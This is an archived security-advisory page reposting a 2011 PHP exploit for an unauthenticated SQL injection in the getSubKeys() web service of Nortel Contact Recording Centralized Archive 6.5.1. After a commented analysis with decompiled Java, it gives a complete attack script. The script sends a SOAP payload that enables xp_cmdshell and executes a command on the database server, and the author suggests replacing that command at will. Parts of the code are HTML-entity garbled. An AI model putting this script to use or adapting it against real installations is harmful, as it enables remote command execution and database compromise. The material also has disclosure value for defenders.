Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:27049
HistorySep 20, 2011 - 12:00 a.m.

Nortel Contact Recording Centralized Archive 6.5.1 EyrAPIConfiguration getSubKeys() Remote SQL Injection Exploit

2011-09-2000:00:00
vulners.com
65

<?php
/*
Nortel Contact Recording Centralized Archive 6.5.1 EyrAPIConfiguration
Web Service getSubKeys() Remote SQL Injection Exploit

tested against:
Microsoft Windows Server 2003 r2 sp2
Microsoft SQL Server 2005 Express

download uri:
ftp://ftp.avaya.com/incoming/Up1cku9/tsoweb/web1/software/c/contactcenter/crqm/6_5_CS1K_2/Nortel-DVD3-Archive-6_5.iso

background:

This software installs a Tomcat http server which listens on
port 8080 for incoming connections. It exposes the
following servlet as declared inside
c:\Program Files\[choosen folder]\Tomcat5\webapps\EyrAPI\WEB-INF\web.xml :

.
<servlet-mapping>
<servlet-name>EyrAPIConfiguration</servlet-name>
<url-pattern>/EyrAPIConfiguration/*</url-pattern>
</servlet-mapping>
.

at the following url:

http://[host]:8080/EyrAPI/EyrAPIConfiguration/EyrAPIConfigurationIf

Vulnerability:

without prior authentication, you can reach a web service
with various methods availiable, as described inside
the associated wsdl, see file:

c:\Program Files\[choosen folder]\Tomcat5\webapps\EyrAPI\WEB-INF\classes\EyrAPIConfiguration.wsdl

among them, the getSubKeys() method.

Now look at getSubKeys() inside the decompiled
c:\Program Files\[choosen folder]\Tomcat5\webapps\EyrAPI\WEB-INF\classes\com\eyretel\eyrapi\EyrAPIConfigurationImpl.class

:
.
public String getSubKeys(boolean iterateSubKeys, boolean includeValues, String systemId, String componentId, String sysCompId, String userName)
throws RemoteException
{
StringBuffer xml;
ConfigOwnerId configOwnerId;
Connection conn;
PreparedStatement pStmt;
ResultSet rs;
PreparedStatement pStmt2;
ResultSet rs2;
log.info((new StringBuilder()).append("Request getSubKeys: iterateSubKeys=").append(iterateSubKeys).append(", includeValues=").append(includeValues).append(", SystemId=").append(systemId).append(", componentId=").append(componentId).append(", sysCompId=").append(sysCompId).append(", userName=").append(userName).toString());
xml = new StringBuffer("<ConfigurationNodeList>");
configOwnerId = null;
conn = null;
pStmt = null;
rs = null;
pStmt2 = null;
rs2 = null;
try
{
conn = SiteDatabase.getInstance().getConnection();
if(EyrAPIProperties.getInstance().getProperty("database", "MSSQLServer").equalsIgnoreCase("Oracle"))
{
if(componentId.compareToIgnoreCase("") == 0)
componentId = "";
if(systemId.compareToIgnoreCase("") == 0)
systemId = "
";
if(sysCompId.compareToIgnoreCase("") == 0)
sysCompId = "";
if(userName.compareToIgnoreCase("") == 0)
userName = "
";
pStmt = conn.prepareStatement((new StringBuilder()).append("SELECT ConfigOwnerID FROM ConfigOwnerView WHERE nvl(ComponentID, '') = '").append(componentId).append("' AND ").append("nvl(SystemID, '') = '").append(systemId).append("' AND ").append("nvl(SysCompID, '') = '").append(sysCompId).append("' AND ").append("nvl(UserName, '') = '").append(userName).append("'").toString());
rs = pStmt.executeQuery();
} else
{
pStmt = conn.prepareStatement((new StringBuilder()).append("SELECT ConfigOwnerID FROM ConfigOwnerView WHERE ISNULL(CONVERT(varchar(36), ComponentID), '') = '").append(unpunctuate(componentId)).append("' AND ").append("ISNULL(CONVERT(varchar(36), SystemID), '') = '").append(unpunctuate(systemId)).append("' AND ").append("ISNULL(CONVERT(varchar(36), SysCompID), '') = '").append(unpunctuate(sysCompId)).append("' AND ").append("ISNULL(UserName, '') = '").append(unpunctuate(userName)).append("'").toString());
rs = pStmt.executeQuery();
}
if(rs.next())
{
String strConfigOwnerId = rs.getString(1);
if(!rs.wasNull())
configOwnerId = new ConfigOwnerId(strConfigOwnerId);
pStmt2 = conn.prepareStatement((new StringBuilder()).append("SELECT ConfigGroupID, ConfigGroupName FROM ConfigGroupView WHERE ConfigOwnerID = '").append(configOwnerId.toString()).append("'").toString());
for(rs2 = pStmt2.executeQuery(); rs2.next(); xml.append(getSubKeyValuesInc(new Integer(rs2.getInt(1)), iterateSubKeys, includeValues)));
}
}
catch(SQLException e)
{
String msg = "Unable to get subkeys";
log.error(msg, e);
throw new RemoteException(msg, e);
}
catch(GenericDatabaseException e)
{
String msg = "Unable to get subkeys";
log.error(msg, e);
throw new RemoteException(msg, e);
}
DbHelper.closeStatement(log, pStmt);
DbHelper.closeResultSet(log, rs);
DbHelper.closeStatement(log, pStmt2);
DbHelper.closeResultSet(log, rs2);
DbHelper.closeConnection(log, conn);
break MISSING_BLOCK_LABEL_646;
Exception exception;
exception;
DbHelper.closeStatement(log, pStmt);
DbHelper.closeResultSet(log, rs);
DbHelper.closeStatement(log, pStmt2);
DbHelper.closeResultSet(log, rs2);
DbHelper.closeConnection(log, conn);
throw exception;
xml.append("\n</ConfigurationNodeList>");
log.info((new StringBuilder()).append("Response createKey= ").append(xml).toString());
return xml.toString();
}
.

This function uses unproperly the prepareStatement() function, a SELECT query is concatenated
inside of it and using user supplied values.

Note also that the unpunctuate() function is unuseful to clean the passed values:

.
protected String unpunctuate(String id)
{
StringBuffer sb = new StringBuffer(id);
try
{
if(sb.charAt(0) == '{')
sb.deleteCharAt(0);
}
catch(StringIndexOutOfBoundsException e) { }
try
{
if(sb.charAt(36) == '}')
sb.deleteCharAt(36);
}
catch(StringIndexOutOfBoundsException e) { }
return sb.toString();
}
.

As result, a remote attacker can send a SOAP message against port 8080 containing the
getSubKeys string to execute arbitrary sql commands against the
underlying database.

The following code tries to execute calc.exe (if the xp_cmdshell stored procedure
is not enabled, it will try to reenable it via 'sp_configure', assuming you have
the privileges of the 'sa' user), otherwise use your imagination.

Note: Reportedly, this product is end of sale … so it's better you are aware of
it just in case you have an online installation exposed to user input :)

rgod
*/
error_reporting(E_ALL ^ E_NOTICE);
set_time_limit(0);

    $err[0] = &quot;[!] This script is intended to be launched from the cli!&quot;;
$err[1] = &quot;[!] You need the curl extesion loaded!&quot;;

if &#40;php_sapi_name&#40;&#41; &lt;&gt; &quot;cli&quot;&#41; {
    die&#40;$err[0]&#41;;
}

    function syntax&#40;&#41; {
   print&#40;&quot;usage: php 9sg_nortel.php [ip_address]&#92;r&#92;n&quot; &#41;;
   die&#40;&#41;;
}

    $argv[1] ? print&#40;&quot;[*] Attacking...&#92;n&quot;&#41; :
syntax&#40;&#41;;

    if &#40;!extension_loaded&#40;&#39;curl&#39;&#41;&#41; {
    $win = &#40;strtoupper&#40;substr&#40;PHP_OS, 0, 3&#41;&#41; === &#39;WIN&#39;&#41; ? true :
    false;
    if &#40;$win&#41; {
        !dl&#40;&quot;php_curl.dll&quot;&#41; ? die&#40;$err[1]&#41; :
         print&#40;&quot;[*] curl loaded&#92;n&quot;&#41;;
    } else {
        !dl&#40;&quot;php_curl.so&quot;&#41; ? die&#40;$err[1]&#41; :
         print&#40;&quot;[*] curl loaded&#92;n&quot;&#41;;
    }
}
    
function _s&#40;$url, $is_post, $ck, $request&#41; {
    global $_use_proxy, $proxy_host, $proxy_port;
    $ch = curl_init&#40;&#41;;
    curl_setopt&#40;$ch, CURLOPT_URL, $url&#41;;
    if &#40;$is_post&#41; {
        curl_setopt&#40;$ch, CURLOPT_POST, 1&#41;;
        curl_setopt&#40;$ch, CURLOPT_POSTFIELDS, $request&#41;;
    }
    curl_setopt&#40;$ch, CURLOPT_HEADER, 1&#41;;
    curl_setopt&#40;$ch, CURLOPT_HTTPHEADER, array&#40;
        &quot;Cookie: &quot;.$ck ,
        &quot;Content-Type: text/xml&quot;
        

    &#41;&#41;; 
    curl_setopt&#40;$ch, CURLOPT_RETURNTRANSFER, 1&#41;;
    curl_setopt&#40;$ch, CURLOPT_USERAGENT, &quot;&quot;&#41;;
    curl_setopt&#40;$ch, CURLOPT_TIMEOUT, 0&#41;;
     
    if &#40;$_use_proxy&#41; {
        curl_setopt&#40;$ch, CURLOPT_PROXY, $proxy_host.&quot;:&quot;.$proxy_port&#41;;
    }
    $_d = curl_exec&#40;$ch&#41;;
    if &#40;curl_errno&#40;$ch&#41;&#41; {
        //die&#40;&quot;[!] &quot;.curl_error&#40;$ch&#41;.&quot;&#92;n&quot;&#41;;
    } else {
        curl_close&#40;$ch&#41;;
    }
    return $_d;
}
      $host = $argv[1];
      $port = 8080;

print("[] Check for spawned calc.exe sub process.\n");
$sql="'; ".
"EXEC sp_configure 'show advanced options',1;RECONFIGURE;".
"EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;".
"EXEC xp_cmdshell 'calc';–";
$soap='<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:xsd="http://www.w3.org/2001/XMLSchema&quot; xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/&quot; xmlns:wsdl="http://com.eyretel.eyrapi.org/wsdl&quot;&gt;
<soapenv:Header/>
<soapenv:Body>
<wsdl:getSubKeys soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/&quot;&gt;
<boolean_1 xsi:type="xsd:boolean">true</boolean_1>
<boolean_2 xsi:type="xsd:boolean">true</boolean_2>
<String_3 xsi:type="xsd:string">'.$sql.'</String_3>
<String_4 xsi:type="xsd:string">yyyy</String_4>
<String_5 xsi:type="xsd:string">zzzz</String_5>
<String_6 xsi:type="xsd:string">kkkk</String_6>
</wsdl:getSubKeys>
</soapenv:Body>
</soapenv:Envelope>';
$url = "http://$host:$port/EyrAPI/EyrAPIConfiguration/EyrAPIConfigurationIf";
$out = _s($url, 1, "", $soap);
print($out."\n");
print("[
] Done.");
?>

original url: http://retrogod.altervista.org/9sg_nortel.html